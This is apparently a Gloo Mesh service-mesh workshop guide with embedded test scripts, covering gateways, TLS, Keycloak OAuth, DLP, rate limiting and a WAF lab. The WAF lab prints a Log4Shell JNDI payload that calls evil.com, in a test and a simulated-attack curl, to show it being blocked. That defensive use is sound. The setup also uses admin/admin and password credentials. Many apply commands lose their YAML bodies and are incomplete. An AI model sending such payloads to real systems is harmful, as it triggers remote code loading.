process.env.CLUSTER1 + let deployments = ["ext-auth-service", "rate-limiter"]; + deployments.forEach(deploy => { + it(deploy + ' pods are ready in ' + cluster, () => helpers.checkDeployment({ context: cluster, namespace: "gloo-mesh-addons", k8sObj: deploy })); + }); +}); +describe("Gloo Platform add-ons cluster2 deployment", () => { + let cluster = process.env.CLUSTER2 + let deployments = ["ext-auth-service", "rate-limiter"]; + deployments.forEach(deploy => { + it(deploy + ' pods are ready in ' + cluster, () => helpers.checkDeployment({ context: cluster, namespace: "gloo-mesh-addons", k8sObj: deploy })); + }); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/deploy-gloo-mesh-addons/tests/check-addons-deployments.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +This is what the environment looks like now: + +![Gloo Platform Workshop Environment](images/steps/deploy-gloo-mesh-addons/gloo-mesh-workshop-environment.svg) + + + +## Lab 8 - Create the gateways workspace +[VIDEO LINK](https://youtu.be/QeVBH0eswWw "Video Link") + +We're going to create a workspace for the team in charge of the Gateways. + +The platform team needs to create the corresponding `Workspace` Kubernetes objects in the Gloo Mesh management cluster. + +Let's create the `gateways` workspace which corresponds to the `istio-gateways` and the `gloo-mesh-addons` namespaces on the cluster(s): + +```bash +kubectl apply --context ${MGMT} -f - < + +We're going to create a workspace for the team in charge of the Bookinfo application. + +The platform team needs to create the corresponding `Workspace` Kubernetes objects in the Gloo Mesh management cluster. + +Let's create the `bookinfo` workspace which corresponds to the `bookinfo-frontends` and `bookinfo-backends` namespaces on the cluster(s): + +```bash +kubectl apply --context ${MGMT} -f - < +[VIDEO LINK](https://youtu.be/emyIu99AOOA "Video Link") + +In this step, we're going to expose the `productpage` service through the Ingress Gateway using Gloo Mesh. + +The Gateway team must create a `VirtualGateway` to configure the Istio Ingress Gateway in cluster1 to listen to incoming requests. + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpers = require('./tests/chai-http'); + +describe("Productpage is available (HTTP)", () => { + it('/productpage is available in cluster1', () => helpers.checkURL({ host: `http://cluster1-bookinfo.example.com`, path: '/productpage', retCode: 200 })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/gateway-expose/tests/productpage-available.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Gloo Mesh translates the `VirtualGateway` and `RouteTable` into the corresponding Istio objects (`Gateway` and `VirtualService`). + +Now, let's secure the access through TLS. +Let's first create a private key and a self-signed certificate: + +```bash +openssl req -x509 -nodes -days 365 -newkey rsa:2048 \ + -keyout tls.key -out tls.crt -subj "/CN=*" +``` + +Then, you have to store them in a Kubernetes secret running the following commands: + +```bash +kubectl --context ${CLUSTER1} -n istio-gateways create secret generic tls-secret \ + --from-file=tls.key=tls.key \ + --from-file=tls.crt=tls.crt + +kubectl --context ${CLUSTER2} -n istio-gateways create secret generic tls-secret \ + --from-file=tls.key=tls.key \ + --from-file=tls.crt=tls.crt +``` + +Finally, the Gateway team needs to update the `VirtualGateway` to use this secret: + +```bash +kubectl apply --context ${CLUSTER1} -f - <. + +Notice that we specificed a minimumProtocolVersion, so if the client is trying to use an deprecated TLS version the request will be denied. + +To test this, we can try to send a request with `tlsv1.2`: + +```console +curl --tlsv1.2 --tls-max 1.2 --key tls.key --cert tls.crt https://cluster1-bookinfo.example.com/productpage -k +``` + +You should get the following output: + +```nocopy +curl: (35) error:1409442E:SSL routines:ssl3_read_bytes:tlsv1 alert protocol version +``` + +Now, you can try the most recent `tlsv1.3`: + +```console +curl --tlsv1.3 --tls-max 1.3 --key tls.key --cert tls.crt https://cluster1-bookinfo.example.com/productpage -k +``` + +And after this you should get the actual Productpage. + + + +This diagram shows the flow of the request (through the Istio Ingress Gateway): + +![Gloo Mesh Gateway](images/steps/gateway-expose/gloo-mesh-gateway.svg) + + + + +## Lab 11 - Create the httpbin workspace + +We're going to create a workspace for the team in charge of the httpbin application. + +The platform team needs to create the corresponding `Workspace` Kubernetes objects in the Gloo Mesh management cluster. + +Let's create the `httpbin` workspace which corresponds to the `httpbin` namespace on `cluster1`: + +```bash +kubectl apply --context ${MGMT} -f - < +[VIDEO LINK](https://youtu.be/jEqDoITpRss "Video Link") + +In this step, we're going to expose an external service through a Gateway using Gloo Mesh and show how we can then migrate this service to the Mesh. + +Let's create an `ExternalService` corresponding to `httpbin.org`: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("httpbin from the external service", () => { + it('Checking text \'X-Amzn-Trace-Id\' in ' + process.env.CLUSTER1, () => helpersHttp.checkBody({ host: `https://cluster1-httpbin.example.com`, path: '/get', body: 'X-Amzn-Trace-Id', match: true })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-external-service/tests/httpbin-from-external.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Let's update the `RouteTable` to direct 50% of the traffic to the local `httpbin` service: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("httpbin from the local service", () => { + it('Got the expected status code 200', () => helpersHttp.checkURL({ host: `https://cluster1-httpbin.example.com/get`, retCode: 200 })); + it('Checking text \'X-Amzn-Trace-Id\' not in ' + process.env.CLUSTER1, () => helpersHttp.checkBody({ host: `https://cluster1-httpbin.example.com`, path: '/get', body: 'X-Amzn-Trace-Id', match: false })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-external-service/tests/httpbin-from-local.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + + +If you refresh your browser, you should see that you get a response either from the local service or from the external service. + +When the response comes from the external service (httpbin.org), there's a `X-Amzn-Trace-Id` header. + +And when the response comes from the local service, there's a `X-B3-Parentspanid` header. + +Finally, you can update the `RouteTable` to direct all the traffic to the local `httpbin` service: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("httpbin from the local service", () => { + it('Got the expected status code 200', () => helpersHttp.checkURL({ host: `https://cluster1-httpbin.example.com/get`, retCode: 200 })); + it('Checking text \'X-Amzn-Trace-Id\' not in ' + process.env.CLUSTER1, () => helpersHttp.checkBody({ host: `https://cluster1-httpbin.example.com`, path: '/get', body: 'X-Amzn-Trace-Id', match: false })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-external-service/tests/httpbin-from-local.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +If you refresh your browser, you should see that you get responses only from the local service. + +This diagram shows the flow of the requests : + +![Gloo Mesh Gateway EXternal Service](images/steps/gateway-external-service/gloo-mesh-gateway-external-service.svg) + +Let's delete the `ExternalService` we've created: + +```bash +kubectl --context ${CLUSTER1} -n httpbin delete externalservices.networking.gloo.solo.io httpbin +``` + + + +## Lab 13 - Deploy Keycloak + +In many use cases, you need to restrict the access to your applications to authenticated users. + +OpenID Connect (OIDC) is an identity layer on top of the OAuth 2.0 protocol. In OAuth 2.0 flows, authentication is performed by an external Identity Provider (IdP) which, in case of success, returns an Access Token representing the user identity. The protocol does not define the contents and structure of the Access Token, which greatly reduces the portability of OAuth 2.0 implementations. + +The goal of OIDC is to address this ambiguity by additionally requiring Identity Providers to return a well-defined ID Token. OIDC ID tokens follow the JSON Web Token standard and contain specific fields that your applications can expect and handle. This standardization allows you to switch between Identity Providers – or support multiple ones at the same time – with minimal, if any, changes to your downstream services; it also allows you to consistently apply additional security measures like Role-Based Access Control (RBAC) based on the identity of your users, i.e. the contents of their ID token. + +In this lab, we're going to install Keycloak. It will allow us to setup OIDC workflows later. + +Let's install it: + +```bash +kubectl --context ${MGMT} create namespace keycloak + +kubectl apply --context ${MGMT} -f - < ./test.js +const helpers = require('./tests/chai-exec'); + +describe("Keycloak", () => { + it('keycloak pods are ready in cluster1', () => helpers.checkDeployment({ context: process.env.MGMT, namespace: "keycloak", k8sObj: "keycloak" })); +}); +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/deploy-keycloak/tests/pods-available.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + + + +Then, we will configure it and create two users: + +- User1 credentials: `user1/password` + Email: user1@example.com + +- User2 credentials: `user2/password` + Email: user2@solo.io + + + +Let's set the environment variables we need: + +```bash +export ENDPOINT_KEYCLOAK=$(kubectl --context ${MGMT} -n keycloak get service keycloak -o jsonpath='{.status.loadBalancer.ingress[0].*}'):8080 +export HOST_KEYCLOAK=$(echo ${ENDPOINT_KEYCLOAK%:*}) +export PORT_KEYCLOAK=$(echo ${ENDPOINT_KEYCLOAK##*:}) +export KEYCLOAK_URL=http://${ENDPOINT_KEYCLOAK} +``` + + + + +Now, we need to get a token: + +```bash +export KEYCLOAK_TOKEN=$(curl -Ssm 10 --fail-with-body \ + -d "client_id=admin-cli" \ + -d "username=admin" \ + -d "password=admin" \ + -d "grant_type=password" \ + "$KEYCLOAK_URL/realms/master/protocol/openid-connect/token" | + jq -r .access_token) +``` + +After that, we configure Keycloak: + +```bash +# Create initial token to register the client +read -r client token <<<$(curl -Ssm 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "expiration": 0, "count": 1 }' \ + $KEYCLOAK_URL/admin/realms/master/clients-initial-access | + jq -r '[.id, .token] | @tsv') +KEYCLOAK_CLIENT=${client} + +# Register the client +read -r id secret <<<$(curl -Ssm 10 --fail-with-body -H "Authorization: bearer ${token}" -H "Content-Type: application/json" \ + -d '{ "clientId": "'${KEYCLOAK_CLIENT}'" }' \ + ${KEYCLOAK_URL}/realms/master/clients-registrations/default | + jq -r '[.id, .secret] | @tsv') +KEYCLOAK_SECRET=${secret} + +# Add allowed redirect URIs +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -X PUT -d '{ "serviceAccountsEnabled": true, "directAccessGrantsEnabled": true, "authorizationServicesEnabled": true, "redirectUris": ["'https://cluster1-httpbin.example.com'/*","'https://cluster1-portal.example.com'/*","'https://cluster1-backstage.example.com'/*"] }' \ + ${KEYCLOAK_URL}/admin/realms/master/clients/${id} + +# Set access token lifetime to 30m (default is 1m) +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -X PUT -d '{ "accessTokenLifespan": 1800 }' \ + ${KEYCLOAK_URL}/admin/realms/master + +# Add the group attribute in the JWT token returned by Keycloak +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "name": "group", "protocol": "openid-connect", "protocolMapper": "oidc-usermodel-attribute-mapper", "config": { "claim.name": "group", "jsonType.label": "String", "user.attribute": "group", "id.token.claim": "true", "access.token.claim": "true" } }' \ + ${KEYCLOAK_URL}/admin/realms/master/clients/${id}/protocol-mappers/models + +# Add the show_personal_data attribute in the JWT token returned by Keycloak +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "name": "show_personal_data", "protocol": "openid-connect", "protocolMapper": "oidc-usermodel-attribute-mapper", "config": { "claim.name": "show_personal_data", "jsonType.label": "String", "user.attribute": "show_personal_data", "id.token.claim": "true", "access.token.claim": "true"} } ' \ + ${KEYCLOAK_URL}/admin/realms/master/clients/${id}/protocol-mappers/models + +# Create first user +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "username": "user1", "email": "user1@example.com", "enabled": true, "attributes": { "group": "users" }, "credentials": [ { "type": "password", "value": "password", "temporary": false } ] }' \ + ${KEYCLOAK_URL}/admin/realms/master/users + +# Create second user +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "username": "user2", "email": "user2@solo.io", "enabled": true, "attributes": { "group": "users", "show_personal_data": false }, "credentials": [ { "type": "password", "value": "password", "temporary": false } ] }' \ + ${KEYCLOAK_URL}/admin/realms/master/users + +``` + +> **Note:** If you get a *Not Authorized* error, please, re-run the following command and continue from the command that started to fail: + +``` +KEYCLOAK_TOKEN=$(curl -m 2 -d "client_id=admin-cli" -d "username=admin" -d "password=admin" -d "grant_type=password" "$KEYCLOAK_URL/realms/master/protocol/openid-connect/token" | jq -r .access_token) +``` + + + + +## Lab 14 - Securing the access with OAuth +[VIDEO LINK](https://youtu.be/fKZjr0AYxYs "Video Link") + +In this step, we're going to secure the access to the `httpbin` service using OAuth. + +First, we need to create a Kubernetes Secret that contains the OIDC secret: + +```bash +kubectl apply --context ${CLUSTER1} -f - < + + + + +If you refresh the web browser, you will be redirected to the authentication page. + +If you use the username `user1` and the password `password` you should be redirected back to the `httpbin` application. + +Notice that we are also extracting information from the `email` claim, and putting it into a new header. This can be used for different things during our authz/authn flow, but most importantly we don't need any jwt-decoding library in the application anymore! + +You can also perform authorization using OPA. + +First, you need to create a `ConfigMap` with the policy written in rego: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("Authentication is working properly", function () { + + const cookieString_user1 = process.env.USER1_TOKEN; + const cookieString_user2 = process.env.USER2_TOKEN; + + it("The httpbin page isn't accessible with user1", () => helpersHttp.checkURL({ host: `https://cluster1-httpbin.example.com`, path: '/get', headers: [{ key: 'Cookie', value: cookieString_user1 }], retCode: "keycloak-session=dummy" == cookieString_user1 ? 302 : 403 })); + it("The httpbin page is accessible with user2", () => helpersHttp.checkURL({ host: `https://cluster1-httpbin.example.com`, path: '/get', headers: [{ key: 'Cookie', value: cookieString_user2 }], retCode: 200 })); + +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-extauth-oauth/tests/authorization.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> +If you open the browser in incognito and login using the username `user2` and the password `password`, you will now be able to access it since the user's email ends with `@solo.io`. + +This diagram shows the flow of the request (with the Istio ingress gateway leveraging the `extauth` Pod to authorize the request): + +![Gloo Mesh Gateway Extauth](images/steps/gateway-extauth-oauth/gloo-mesh-gateway-extauth.svg) + + + + +## Lab 15 - Use the transformation filter to manipulate headers + + +In this step, we're going to use a regular expression to extract a part of an existing header and to create a new one: + +Let's create a `TransformationPolicy` to extract the claim. + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("Tranformation is working properly", function() { + const cookieString = process.env.USER2_TOKEN; + it('The new header has been added', () => helpersHttp.checkBody({ host: `https://cluster1-httpbin.example.com`, path: '/get', headers: [{ key: 'Cookie', value: cookieString }], body: '"X-Organization": "solo.io"' })); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-transformation/tests/header-added.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + + + +## Lab 16 - Use the DLP policy to mask sensitive data +[VIDEO LINK](https://youtu.be/Uark0F4g47s "Video Link") + + +Now that we learnt how to put user information from the JWT to HTTP headers visible to the applications, those same applications could return sensitive or protected user information in the responses. + +In this step, we're going to use a Data Loss Prevention (DLP) Policy to mask data in response bodies and headers. + +Let's create a `DLPPolicy` to mask protected user information. + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("DLP Policy", function () { + const cookieString = process.env.USER2_TOKEN; + + it('Email is masked', () => helpersHttp.checkBody({ host: `https://cluster1-httpbin.example.com`, path: '/get', headers: [{ key: 'Cookie', value: cookieString }], body: 'XXXXXXXXXX.io' })); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-dlp/tests/email-masked.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + + + +## Lab 17 - Apply rate limiting to the Gateway + + +In this step, we're going to apply rate limiting to the Gateway to only allow 3 requests per minute for the users of the `solo.io` organization. + +First, we need to create a `RateLimitServerConfig` object to define the limits based on the descriptors we will use later: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("Rate limiting is working properly", function() { + const cookieString = process.env.USER2_TOKEN; + it('The httpbin page should be rate limited', () => helpersHttp.checkURL({ host: `https://cluster1-httpbin.example.com`, path: '/get', headers: [{ key: 'Cookie', value: cookieString }], retCode: 429 })); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-ratelimiting/tests/rate-limited.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +You should get a `200` response code the first 3 time and a `429` response code after. + +This diagram shows the flow of the request (with the Istio ingress gateway leveraging the `rate limiter` Pod to determine if the request should be allowed): + +![Gloo Mesh Gateway Rate Limiting](images/steps/gateway-ratelimiting/gloo-mesh-gateway-rate-limiting.svg) + +Let's apply the original `RouteTable` yaml: +```bash +kubectl apply --context ${CLUSTER1} -f - < +[VIDEO LINK](https://youtu.be/9q2TxtBDqrA "Video Link") + +A web application firewall (WAF) protects web applications by monitoring, filtering, and blocking potentially harmful traffic and attacks that can overtake or exploit them. + +Gloo Mesh includes the ability to enable the ModSecurity Web Application Firewall for any incoming and outgoing HTTP connections. + +An example of how using Gloo Mesh we'd easily mitigate the recent Log4Shell vulnerability ([CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228)), which for many enterprises was a major ordeal that took weeks and months of updating all services. + +The Log4Shell vulnerability impacted all Java applications that used the log4j library (common library used for logging) and that exposed an endpoint. You could exploit the vulnerability by simply making a request with a specific header. In the example below, we will show how to protect your services against the Log4Shell exploit. + +Using the Web Application Firewall capabilities you can reject requests containing such headers. + +Log4Shell attacks operate by passing in a Log4j expression that could trigger a lookup to a remote server, like a JNDI identity service. The malicious expression might look something like this: `${jndi:ldap://evil.com/x}`. It might be passed in to the service via a header, a request argument, or a request payload. What the attacker is counting on is that the vulnerable system will log that string using log4j without checking it. That’s what triggers the destructive JNDI lookup and the ultimate execution of malicious code. + +Create the WAF policy: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const chaiExec = require("@jsdevtools/chai-exec"); +const helpersHttp = require('./tests/chai-http'); +var chai = require('chai'); +var expect = chai.expect; + +describe("WAF is working properly", function() { + it('The request has been blocked', () => helpersHttp.checkBody({ host: `https://cluster1-httpbin.example.com`, path: '/get', headers: [{key: 'x-my-header', value: '${jndi:ldap://evil.com/x}'}], body: 'Log4Shell malicious payload' })); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-waf/tests/waf.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Run the following command to simulate an attack: + +```bash +curl -H "User-Agent: \${jndi:ldap://evil.com/x}" -k "https://cluster1-httpbin.example.com/get" -i +``` + +The request should be rejected: + +```,nocopy +HTTP/2 403 +content-length: 27 +content-type: text/plain +date: Tue, 05 Apr 2022 10:20:06 GMT +server: istio-envoy + +Log4Shell malicious payload +``` + +Let's apply the original `RouteTable` yaml: + +```bash +kubectl apply --context ${CLUSTER1} -f - < + +In this lab, you will incrementally add services to the mesh. The mesh is actually integrated with the services themselves which makes it mostly transparent to the service implementation. + +Before we start, take a look at the UI Graph. You can see the gateway and the services that have interacted with it. The services are not part of the mesh yet, so you can't see the traffic between them. +![UI-no-Mesh](images/steps/adding-services-to-mesh/ui-no-mesh.png) + +## Sidecar injection + +Adding services to the mesh requires that the client-side proxies be associated with the service components and registered with the control plane. With Istio, you have several methods to inject the Envoy Proxy sidecar into the microservice Kubernetes pods: + +* Automatic sidecar injection. In this mode, the sidecar is automatically injected into the pods based on the namespace annotation. +* Manual sidecar injection. In this mode, you manually inject the sidecar into the pods. +1. To enable the automatic sidecar injection, use the command below to add the label `istio.io/rev` to the `bookinfo-frontends` namespace: + +```bash +kubectl --context ${CLUSTER1} label namespace bookinfo-frontends istio.io/rev=1-19 +kubectl --context ${CLUSTER2} label namespace bookinfo-frontends istio.io/rev=1-19 +``` + +2. Validate the namespace is annotated with the `istio.io/rev` label: + +```shell +kubectl --context ${CLUSTER1} get namespace -L istio.io/rev +kubectl --context ${CLUSTER2} get namespace -L istio.io/rev +``` +Now that you have a namespace with automatic sidecar injection enabled, you are ready to start adding services to the mesh. Since you added the istio.io/rev label to the namespace, the Istio mutating admission controller automatically injects the Envoy Proxy sidecar during the initial deployment or restart of the pod. + +## Adding services to the mesh +1. You can add a sidecar to each of the services in the `bookinfo-frontends` namespace, starting with the `productpage-v1` service: + +```bash +kubectl --context ${CLUSTER1} rollout restart deployment productpage-v1 -n bookinfo-frontends +kubectl --context ${CLUSTER2} rollout restart deployment productpage-v1 -n bookinfo-frontends +``` + + +2. Validate the `productpage` pod is running with Istio's default sidecar proxy injected: + +```shell +kubectl --context ${CLUSTER1} get pod -l app=productpage -n bookinfo-frontends +kubectl --context ${CLUSTER2} get pod -l app=productpage -n bookinfo-frontends +``` + +You should see `2/2` in the output. This indicates the sidecar proxy is running alongside the `productpage` application container in the `productpage` pod: +```text,nocopy +NAME READY STATUS RESTARTS AGE +productpage-7d5ccfd7b4-m7lkj 2/2 Running 0 9m4s +``` + +3. Validate the `productpage` pod log looks good: + +```shell +kubectl --context ${CLUSTER1} logs deploy/productpage-v1 -c productpage -n bookinfo-frontends +``` + +4. Validate you can continue to call the `productpage` service securely: + +[http://cluster1-bookinfo.example.com/productpage](http://cluster1-bookinfo.example.com/productpage) + +## Add more services to the Istio service mesh + +Now that you have added the `productpage` service to the mesh, you can add the other services to the mesh as well. The `details`, `reviews`, and `ratings` services are part of the `bookinfo-backends` namespace. + +1. First, you need to annotate the `bookinfo-backends` namespace to enable automatic sidecar injection: + +```bash +kubectl --context ${CLUSTER1} label namespace bookinfo-backends istio.io/rev=1-19 +kubectl --context ${CLUSTER2} label namespace bookinfo-backends istio.io/rev=1-19 +``` + +2. Next, you can add the `istio-proxy` sidecar to the other services in the `bookinfo-backends` namespace + +```bash +kubectl --context ${CLUSTER1} -n bookinfo-backends rollout restart deployment +kubectl --context ${CLUSTER2} -n bookinfo-backends rollout restart deployment +``` + + +3. Validate that all the pods in the `bookinfo-backends` namespace are running with Istio's default sidecar proxy injected: + +```shell +kubectl --context ${CLUSTER1} get pods -n bookinfo-backends +kubectl --context ${CLUSTER2} get pods -n bookinfo-backends +``` + +4. Verify that you can continue to call the `productpage` service securely: + +[http://cluster1-bookinfo.example.com/productpage](http://cluster1-bookinfo.example.com/productpage) + +## What have you gained? + +One of the values of using a service mesh is that you will gain immediate insight into the behavior and interactions between your services. Istio gives you access to important telemetry data, just by adding services to the mesh. In addition, you get a lot of functionality for free, such as load balancing, circuit breaking, mutual TLS, and more. + +You can see now the services in the UI Graph, the traffic between them, and if they are healthy or not. +![UI-Mesh](images/steps/adding-services-to-mesh/ui-mesh.png) + + + + + + +## Lab 20 - Traffic policies +[VIDEO LINK](https://youtu.be/ZBdt8WA0U64 "Video Link") + +We're going to use Gloo Mesh policies to inject faults and configure timeouts. + +Let's create the following `FaultInjectionPolicy` to inject a delay when the `v2` version of the `reviews` service talk to the `ratings` service: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +var chai = require('chai'); +var expect = chai.expect; +const chaiHttp = require("chai-http"); +chai.use(chaiHttp); + +process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0'; + +afterEach(function (done) { + if (this.currentTest.currentRetry() > 0) { + process.stdout.write("."); + setTimeout(done, 1000); + } else { + done(); + } +}); + +let searchTest="Sorry, product reviews are currently unavailable for this book."; + +describe("Reviews shouldn't be available", () => { + it("Checking text '" + searchTest + "' in cluster1", async () => { + await chai.request(`https://cluster1-bookinfo.example.com`) + .get('/productpage') + .send() + .then((res) => { + expect(res.text).to.contain(searchTest); + }); + }); + +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/traffic-policies/tests/traffic-policies-reviews-unavailable.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +If you refresh the page several times, you'll see an error message telling that reviews are unavailable when the productpage is trying to communicate with the version `v2` of the `reviews` service. + +![Bookinfo reviews unavailable](images/steps/traffic-policies/reviews-unavailable.png) + +This diagram shows where the timeout and delay have been applied: + +![Gloo Mesh Traffic Policies](images/steps/traffic-policies/gloo-mesh-traffic-policies.svg) + +Let's delete the Gloo Mesh objects we've created: + +```bash +kubectl --context ${CLUSTER1} -n bookinfo-frontends delete faultinjectionpolicy ratings-fault-injection +kubectl --context ${CLUSTER1} -n bookinfo-frontends delete routetable ratings +kubectl --context ${CLUSTER1} -n bookinfo-frontends delete retrytimeoutpolicy reviews-request-timeout +kubectl --context ${CLUSTER1} -n bookinfo-frontends delete routetable reviews +``` + + + +## Lab 21 - Create the Root Trust Policy +[VIDEO LINK](https://youtu.be/-A2U2fYYgrU "Video Link") + +To allow secured (end-to-end mTLS) cross cluster communications, we need to make sure the certificates issued by the Istio control plane on each cluster are signed with intermediate certificates which have a common root CA. + +Gloo Mesh fully automates this process. + + + +Run the following command to create the *Root Trust Policy*: + +```bash +kubectl apply --context ${MGMT} -f - </dev/null +do + printf "%s" "." + sleep 1 +done +printf "\n" + +printf "\nWaiting until the secret is created in $CLUSTER2" +until kubectl --context ${CLUSTER2} get secret -n istio-system cacerts &>/dev/null +do + printf "%s" "." + sleep 1 +done +printf "\n" +--> + + + + + + + + + + + + + + +We also need to make sure we restart our `in-mesh` deployment because it's not yet part of a `Workspace`: + +```bash +kubectl --context ${CLUSTER1} -n httpbin rollout restart deploy/in-mesh +``` + + + + +## Lab 22 - Leverage Virtual Destinations for east west communications + +We can create a Virtual Destination which will be composed of the `reviews` services running in both clusters. + +Let's create this Virtual Destination. + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpers = require('./tests/chai-exec'); + +describe("The productpage service should get responses from cluster2", () => { + const podName = helpers.getOutputForCommand({ command: "kubectl -n bookinfo-frontends get pods -l app=productpage -o jsonpath='{.items[0].metadata.name}' --context " + process.env.CLUSTER1 }).replaceAll("'", ""); + const command = "kubectl -n bookinfo-frontends exec " + podName + " --context " + process.env.CLUSTER1 + " -- python -c \"import requests; r = requests.get('http://reviews.global:9080/reviews/0'); print(r.text)\""; + it('Got a response from cluster1', () => helpers.genericCommand({ command: command, responseContains: "cluster1" })); +}); +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/east-west-virtual-destination/tests/reviews-from-cluster1.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + + +It's nice, but you generally want to direct the traffic to the local services if they're available and failover to the remote cluster only when they're not. + +In order to do that we need to create 2 other policies. + +The first one is a `FailoverPolicy`: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpers = require('./tests/chai-exec'); + +describe("The productpage service should get responses from cluster2", () => { + const podName = helpers.getOutputForCommand({ command: "kubectl -n bookinfo-frontends get pods -l app=productpage -o jsonpath='{.items[0].metadata.name}' --context " + process.env.CLUSTER1 }).replaceAll("'", ""); + const command = "kubectl -n bookinfo-frontends exec " + podName + " --context " + process.env.CLUSTER1 + " -- python -c \"import requests; r = requests.get('http://reviews.global:9080/reviews/0'); print(r.text)\""; + it('Got a response from cluster1', () => helpers.genericCommand({ command: command, responseContains: "cluster1" })); +}); +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/east-west-virtual-destination/tests/reviews-from-cluster1.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Now, if you try to access the `reviews` service, you should only get responses from `cluster1`. + +```bash 